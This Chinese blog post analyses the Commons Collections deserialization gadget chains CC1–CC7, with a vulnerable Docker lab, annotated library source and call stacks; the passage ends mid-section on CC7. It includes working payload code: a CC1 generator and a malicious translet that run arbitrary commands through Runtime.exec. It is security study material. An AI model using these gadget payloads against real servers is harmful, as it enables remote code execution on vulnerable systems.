Commons Collections链分析

Commons Collections链分析

前言

CC链,作为Java反序列化漏洞学习的必修部分,在这里填个坑。

环境搭建

老样子,用Docker远程调试是最方便的,在这里根据javasec构建自己的docker镜像:

漏洞环境与javasec基本一致,只不过使用spring boot设置了一系列路由,然后使用mvn构建jar包:

1
mvn clean install -DskipTests

然后是构造dockerfile,java版本有限制,版本需要比7u21小,找了一大圈没有现成的镜像,只能自己构建。最后得到的环境能够复现除CC5之外的其他链(CC5需要jdk 1.8)。

Docker file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y iputils-ping
ADD jdk-7u21-linux-x64.tar.gz /usr/local
ENV JAVA_HOME /usr/local/jdk1.7.0_21
ENV PATH $PATH:$JAVA_HOME/bin
ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=10087,server=y,suspend=n
COPY deser-0.0.1-SNAPSHOT.jar /usr/src/deser.jar
EXPOSE 10086
CMD ["java", "-Dserver.address=0.0.0.0", "-Dserver.port=10086", "-jar", "/usr/src/deser.jar"]

docker-compose.yml:

1
2
3
4
5
6
7
8
9
10
version : '2'
services:
server:
build:
context: .
dockerfile: Dockerfile
ports:
- "10086:10086"
- "10087:10087"

环境已上传:CC_docker_remote

Transformer接口的各种实现(用作POP链的关键链结)

主要参考了CC链 1-7 分析对常用的链结的单独分析,可以很好地帮助理解。在这里根据该文记录一下自己的理解。

Transformer接口

Transformer接口是Commom Collection库中的一个很常用的接口,重点在于方便的“对象转化”,可以把Transformer接口的众多实现看作一系列的类处理器,能够对类进行各种不同的操作,将一种类转化为另一种类。这些实现的核心是定义了自己的 transform() 方法,其中包括返回某值、调用某个指定方法等。

参考:Interface Transformer

ConstantTransformer类

“常量”转化器,顾名思义,每次都返回同一个“常量对象”,实现了一个每次都返回其初始值的转化类。具体而言,其初始化时对 this.iConstant 进行赋值,然后每次调用 transform() 时会返回 this.iConstant

InvokerTransformer类

“方法调用”转化器,顾名思义,调用 transform() 时会调用初始化时赋值的一种方法(通过对 this.iMethodName 反射得到)对其要处理的对象进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class InvokerTransformer implements Transformer, Serializable {
...
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法,反射调用指定的方法并返回方法调用结果
public Object transform(Object input) {
...
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
...
}
}
}

InstantiateTransformer类

“实例化”转化器,顾名思义,反射调用构造函数以将对应的类实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class InstantiateTransformer implements Transformer, Serializable {
...
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法,反射调用构造函数将类实例化。
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}

ChainedTransformer类

“链式处理”转化器,顾名思义,使用该类时,我们可以初始化一个 Transformer[] 数组,调用 transform() 时会依次运用这个数组中的转化器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ChainedTransformer implements Transformer, Serializable {
...
private final Transformer[] iTransformers;
//构造函数
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//重写的 transform 方法,链式调用 Transformer[] 中每个 Transformer 的 transform 方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}

在构造系统命令执行的操作中,一般使用该类对一系列的对象获取过程进行实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Test {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
//对照一下:Runtime.getRuntime().exec('calc'),注意过程中的反射机制
//由于第一个链是常量转化器,所以transform传什么参数都一样
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test123");
}
}

以上这些类是直接用来执行恶意指令的,但核心是需要触发任意类的 transform() 方法,各个CC链使用了不同的方法从 readObject() 到执行任意类的 transform()

CC1

我们详细分析CC1的利用过程,在CC2-7中是类似的,类比即可
环境要求:CC 3.1-3.2.1, jdk < u71

Proxy类

在分析具体的链之前,我们先学习一下Java的动态代理,其关键类是 java.lang.reflect.Proxy

  • 什么是代理?代理对象 = 增强代码(附加的操作) + 目标对象(原对象)。有了代理对象后,就不使用原对象了(用代理对象来代替原对象,进行一些额外操作
  • 什么情况使用代理?例:当我们需要对原对象进行日志记录时(类似于python的装饰器,在调用该对象前做某些操作)
  • 如何实现静态代理?需要对原来的类实现一个一模一样的代理类,并在其基础上加入代理的额外操作。这样很麻烦
  • 如何简化这个过程?使用动态代理
  • 动态代理原理是什么?怎么使用?动态代理时,java通过现有的类动态创建一个新的类,并在其基础上添加一些额外操作,并且这个过程仅需要一行代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 如何创建动态代理:
Object proxy = Proxy.newProxyInstance(
/*类加载器*/
target.getClass().getClassLoader(),
/*让代理对象和目标对象实现相同接口*/
target.getClass().getInterfaces(),
/*代理对象的方法最终都会被JVM导向它的invoke方法*/
new InvocationHandler(){
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method.getName() + "方法开始执行...");
Object result = method.invoke(target, args);
System.out.println(result);
System.out.println(method.getName() + "方法执行结束...");
return result;
}
}
);
proxy.xxx(); //用proxy代替原target对象

每次调用代理对象的任意方法,最终都会调用 InvocationHandlerinvoke() 方法。通过类似hook的方式,对原对象的每个成员方法都进行hook。

参考:Java 动态代理作用是什么? - bravo1988的回答 - 知乎

AnnotationInvocationHandler类

  • 从头开始分析,CC1的入口是AnnotationInvocationHandler类(sun.reflect.annotation.AnnotationInvocationHandler)的readObject(),其中执行了this.memberValues.entrySet(),调用了this.memberValues的成员方法。所以我们可以将其设置为动态代理。然后我们再构造另一个AnnotationInvocationHandler,并设置为代理的InvocationHandler,进而调用该InvocationHandlerinvoke()方法
  • 然后,CC1链通过是AnnotationInvocationHandlerinvoke()方法触发LazyMapget方法。其关键代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
//构造函数,可传入 LazyMap
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
//利用 invoke 方法可实现调用 LazyMap#get
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4); //关键点
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
//注意这里的entrySet(),属于成员方法调用,会触发动态代理对象的invoke()方法:
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}

我们继续分析LazyMap类的 get()

LazyMap类

  • LazyMap类(org.apache.commons.collections.map.LazyMap)的get方法中可以调用任意类的transform方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
...
protected final Transformer factory;
//可控制 factory 为 ChainedTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
//这里存在调用
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
}
...
}
}

自此,我们便能触发各种transformer链,执行恶意命令。调用栈大概为:

1
2
3
4
5
6
AnnotationInvocationHandler.readObject() //第一层AnnotationInvocationHandler
->mapProxy.entrySet().iterator() // Proxy触发 invoke()
->AnnotationInvocationHandler.invoke()//第二层AnnotationInvocationHandler
->LazyMap.get()
->ChainedTransformer.transform()
...

其中还包含一些其他的细节,通过代码和注释的形式来说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class TestCC {
/*
* AnnotationInvocationHandler->readObject (用Proxy代替的)
* AnnotationInvocationHandler->invoke (Proxy触发handler的invoke)
* LazyMap->get
* xxx->transform
* 使用transformer构造一个恶意payload Runtime.getRuntime().exec('');
* */
public static Object getObject(String cmd) throws Exception {
// 因为InvokerTransformer的参数必须输入数组,所以这里强行构造一个数组
String[] execArgs = new String[]{cmd};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 直接获取Runtime类
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, execArgs),
};
//先实例化一个空的transformer,防止在反序列化之前就执行命令
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//AnnotationInvocationHandler类是非public类,只能通过反射得到,并且类型只能用Class<?>
Class tmp_annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取AnnotationInvocationHandler的构造函数并设置为可见(取消protected)
//此外,由于该类不是public的,所以这里不能直接用该类进行newInstance,而是需要获取其声明构造函数以得到对象
Constructor constructor = tmp_annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//LazyMap的构造函数是protected,不能直接调用,可以通过decorate间接调用:
//public static Map decorate(Map map, Transformer factory) {
// return new LazyMap(map, factory);
// }
Map testMap = new HashMap();//这里的decorate方法必须要随便一个Map对象,所以选择初始化一个HashMap
Map lazyMap = LazyMap.decorate(testMap, chainedTransformer);
//使用AnnotationInvocationHandler构造函数得到实例
//第一个参数必须为Class<? extends Annotation>,所以这里选择Retention.class(其他满足条件的也可以
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//获取一个代理,用来代理Map类的对象,其第三个参数(handler)为AnnotationInvocationHandler对象,以触发其invoke方法
//注意这里内部的transformer是空的,如果此时已包含恶意payload,并且debug模式打了断点,则会触发,并且在反序列化时不会触发
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
InvocationHandler res = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
//防止在反序列化之前就执行命令,在这里才通过反射对真正的恶意transformer链进行赋值
Class chainClass = chainedTransformer.getClass();
Field iTransformers = chainClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
return res;
}
}
  • 需要注意的是其中首先获取的是一个“空”的ChainedTransformer,以避免在payload生成阶段就执行恶意命令,导致利用失败。这里很奇怪,试了不用1占位,开了debug并且打断点才触发,跟toString也没有关系,是在proxy建立那一步完成时,debugger获取信息的时候触发的,断点都不会停。经过和多个师傅的交流测试,发现很玄学,我自己的环境不行,其他师傅的可以,并且跟版本似乎没啥关系,不管它了。
  • 此外,本链的入口有两个InvocationHandler通过动态代理嵌套,而不是只有一个InvocationHandler。

jdk 1.8 中的修复

jdk 1.8中的 sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中的关键步骤 Iterator var4 = this.memberValues.entrySet().iterator(); 变成了 LinkedHashMap var7 = new LinkedHashMap(); 导致不可控了,从而断掉了此链:

1
2
3
4
5
6
7
8
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
...
// 原本是this.memberValues.entrySet(),现在不可控了:
LinkedHashMap var7 = new LinkedHashMap();
...
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
...

CC3

  • 环境要求:CC 3.1-3.2.1, jdk < 7u21
  • 为什么要先看CC3而不是CC2呢,因为该链在CC1的基础上得到,在命令执行的Transformer阶段,去掉了InvokerTransformer的Serializable继承,导致无法序列化。所以将transformer链中的该对象替换为InstantiateTransformer、TrAXFilter、TemplatesImpl对象的组合
  • 首先,从transform()方法的调用开始,通过InstantiateTransformer触发TrAXFilter的构造函数。然后继续分析如下:

TrAXFilter类

  • TrAXFilter类(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)的构造函数中能够调用任意类的newTransformer方法
1
2
3
4
5
6
7
8
9
10
public class TrAXFilter extends XMLFilterImpl {
//构造函数
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//关键点
...
}
}

TemplatesImpl类

  • TemplatesImpl类(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)的newTransformer方法会使用类加载器根据字节码(this._bytecodes)动态加载类,并将其实例化,所以可以利用该类动态加载获取任意的恶意类。由于是动态加载,如果能够调用该类的newTransformer方法,就可以加载攻击者自定义实现的恶意类(会调用该类的构造函数),从而执行任意命令。到此,该链分析完毕。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public final class TemplatesImpl implements Templates, Serializable {
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
//关键方法:newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 关键点,调用 getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
//跟进 getTransletInstance() 方法:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
//先判断是否为 null,如果为 null 的话去加载字节码,然后调用newInstance()对其实例化。
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
}
}
...

其中的恶意字节码类需要继承 AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

这里的payload在字节码部分有多种写法,可以直接将恶意字节码硬写为base64,也可以通过javassist得到字节码。

调用栈大概为:

1
2
3
4
5
6
7
8
9
10
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator()
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->触发恶意字节码中的操作(构造函数)

CC2

引自CC链 1-7 分析

利用条件比较苛刻:首先CommonsCollections3无法利用,因为其 TransformingComparator无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4其他版本去掉了 InvokerTransformer 的Serializable继承,导致无法序列化。

该链选择PriorityQueue类的 readObject() 作为入口,下面开始分析

PriorityQueue类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
private transient Object[] queue; //关键点,可以传入 TemplatesImpl
private final Comparator<? super E> comparator; //关键点可以反射设置我们自己的 Comparator
//关键点,反序列化时字段执行的 readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//关键点,调用 heapify() 排序
heapify();
}
//跟进 heapify() 方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
//跟进 siftDown 方法,如果 comparator 不为空,调用 siftDownUsingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
//跟进 siftDownUsingComparator 方法,可以看到这里调用了自定义的Comparator的compare方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) //关键点
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
}

可以很容易发现,从 readObject() 能够执行到 siftDownUsingComparator 并且调用自定义的Comparator的 compare() 方法

TransformingComparator类

该类的compare方法正好能够触发任意类的 transform() 方法,后面再接TemplatesImpl即可加载字节码,执行恶意指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
...
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public int compare(I obj1, I obj2) {
//关键点
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->InvokerTransformer.transform() // 注意这里,直接把要调用的方法设置为newTransformer,所以链变短了一些
->TemplatesImpl.newTransformer()
->getTransletInstance()
...
->defineClass、newInstance等sink
->触发恶意字节码中的操作(构造函数)

有一个细节:在transformer调用阶段,直接通过 InvokerTransformer 调用了 TemplatesImpl.newTransformer ,链结长度会短一些。

CC4

环境要求:CC 4.0,jdk < 7u21

与CC3的构造动机类似,该链在CC2的基础上,以PriorityQueue类的 readObject() 作为入口,将 InvokerTransformer 替换为InstantiateTransformer、TrAXFilter、TemplatesImpl对象的组合。

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()//构造函数中会调用templates.newTransformer()
->TemplatesImpl.newTransformer()
->getTransletInstance()
...
->defineClass、newInstance等sink
->触发恶意字节码中的操作(构造函数)

CC5

环境要求:CC 3.1-3.2.1,jdk 1.8

该链在CC1的基础上,更改了触发入口,将 AnnotationInvocationHandlerreadObject() 触发点改为BadAttributeValueExpException类的 readObject()

BadAttributeValueExpException类

该类的readObject方法中,会调用 valObj.toString(); ,并且valObj可控,即可以调用任意对象的 toString() 方法,这个过程和一些PHP的POP链入口很相似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BadAttributeValueExpException extends Exception {
private Object val; //这里可以控制 val 为 TiedMapEntry
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); //这里是关键点,调用toString()
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

TiedMapEntry类

TiedMapEntry类中可以有如下执行路径: toString -> getValue -> this.map.get(this.key) ,从而可以触发LazyMap的 get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数,显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//toString函数,注意这里调用了 getValue()
public String toString() {
return this.getKey() + "=" + this.getValue();
}
//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}
}

调用栈:

1
2
3
4
5
6
7
8
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
... //与CC1相同,获取getMethod 、invoke 、exec

在java 7中,BadAttributeValueExpException并没有实现readObject方法,并且toString方法也不满足条件,所以该链无法使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val;
}
public String toString() {
return "BadAttributeValueException: " + val;
}
}

idea调试的坑

在调试CC5时,由于IDEA会隐式调用对象的 toString() ,导致在payload生成阶段就会触发,并且使产生的序列化数据出错,导致反序列化时触发payload失败。

CC6

环境要求:CC 3.1-3.2.1,jdk 1.7, 1.8

该链采用HashMap的 reaObject() 作为入口,经过 putForCreate -> hash(key) -> k.hashCode() 以触发TiedMapEntry类的 hashCode()

HashMap类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
...
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);//关键点
}
}
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key); //关键点,key可控,赋值为TiedMapEntry
int i = indexFor(hash, table.length);
...
createEntry(hash, key, value, i);
}
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h ^= k.hashCode(); //关键点,触发 TiedMapEntry.hashCode()
...
}

TiedMapEntry类

该类的hashCode存在执行路径: this.getValue() -> this.map.get(this.key) 从而触发LazyMap的 get 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TiedMapEntry implements Entry, KeyValue, Serializable {
...
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public int hashCode() {
Object value = this.getValue();//关键点
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
return this.map.get(this.key); // 可以调用LazyMap的get
}
}

调用栈:

1
2
3
4
5
6
7
8
9
10
->HashMap.readObject()
->HashMap.putForCreate()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->...//Runtime、getRuntime、exec...

需要注意的是,在payload构造代码中,会执行 res.put(tiedMapEntry, "something"); ,这里需要先对chainedTransformer用1占位,以免 put 会提前触发payload,并且导致报错出现,序列化对象出错,反序列化不会触发恶意payload。

CC7

环境要求:CC 3.1-3.2.1,jdk 1.7, 1.8

虽然与之前的一些链一样用到了LazyMap,但前面的链都是生硬地直接去调用LazyMap的get方法,而CC7链的核心思想在于真正利用LazyMap这个装饰类能够调用用户自定义的factory对象的transform方法(与该类的设计思想一致),该链以Hashtable的readObject为入口。这个链在构造时有很多细节,涉及到装饰器模式、多个类的继承和接口的实现,以及hash碰撞等细节。

Hashtable类

Hashtable的readObject存在 reconstitutionPut(table, key, value) -> e.key.equals(key) 的执行路径(其中,e可控,类型为 Hashtable.Entry<K, V>[] ),该方法用来在反序列化时还原HashTable中各个元素的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Hashtable<K,V>
extends Dictionary<K,V>
implements Map<K,V>, Cloneable, java.io.Serializable {
...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...
//初始化Entry列表,该列表会在反序列化过程中慢慢还原
Entry<K,V>[] table = new Entry[length];
...
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value); // 关键点
}
this.table = table;
}
...
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
...
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {// 关键点,e可控 e.key.equals
throw new java.io.StreamCorruptedException();
}
}
...
}
}

LazyMap类进一步理解以及HashMap

在这里,我们用到用LazyMap来装饰的HashMap对象。

虽然前面的CC1用到了该类,但对CC1的理解并不需要熟悉LazyMap的具体作用,而CC7则需要对其进行熟悉。LazyMap类实际上是一个用来装饰其他Map(比如HashMap)的装饰器,当调用LazyMap的get方法时,会去调用其修饰的Map的对应get方法(在原来的get基础上附加调用用户规定的 this.factory 中的 transform() ),LazyMap的作用就是在被装饰者不包含某键名的Entry时调用工厂类去产生一个Entry

1
2
3
4
5
6
7
8
9
10
11
12
13
public class LazyMap extends AbstractMapDecorator
implements Map, Serializable {
...
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) { // 附加操作
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

并且,该类继承了 AbstractMapDecorator 抽象类,类似地, AbstractMapDecorator 类的 equals() ,同样起到装饰器作用,会调用被装饰者的 equals()

1
2
3
4
5
6
7
8
9
10
public abstract class AbstractMapDecorator implements Map {
...
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
}

我们回到上一步分析的链,现在到了 e.key.equals(key) ,这里其实是在尝试检查现在要加入的Entry的key值是不是真的和列表中已有的Entry的key是完全一样的(前面一步是计算它们的hash,并且hash是一样的)。此处会调用LazyMap的 equals 方法,也就是会调用其装饰的HashMap的 equals 方法。然后HashMap继承了 AbstractMap 类,所以调用的实际上是 AbstractMap#equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public abstract class AbstractMap<K,V> implements Map<K,V> {
public boolean equals(Object o) {
...
Map<K,V> m = (Map<K,V>) o;
...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // 关键点,调用LazyMap的get方法
return false;
}
}
...
...
}
}

这里便会调用LazyMap的get方法,然后就回到了之前的CC命令执行的阶段,大致调用栈:

1
2
3
4
5
6
7
8
9
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->...//Runtime、getRuntime、exec...

一些细节

1. payload构造时为什么要用两个LazyMap?

java\util\Hashtable.java#reconstitutionPut 中,实际上是实现了在调用反序列化时对Hashtable中的一个Entry进行还原的操作,其中,关键语句 e.key.equals(key) 是在对现在还原的部分与要添加的新键值对元素的查重操作中发生的(在反序列化的时候,不应该出现重复的元素,否则报错),所以如果table中只有一个元素,就不会进行查重操作,无法触发payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
...
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

2. 为什么要删除LazyMap2中key为yy的元素?

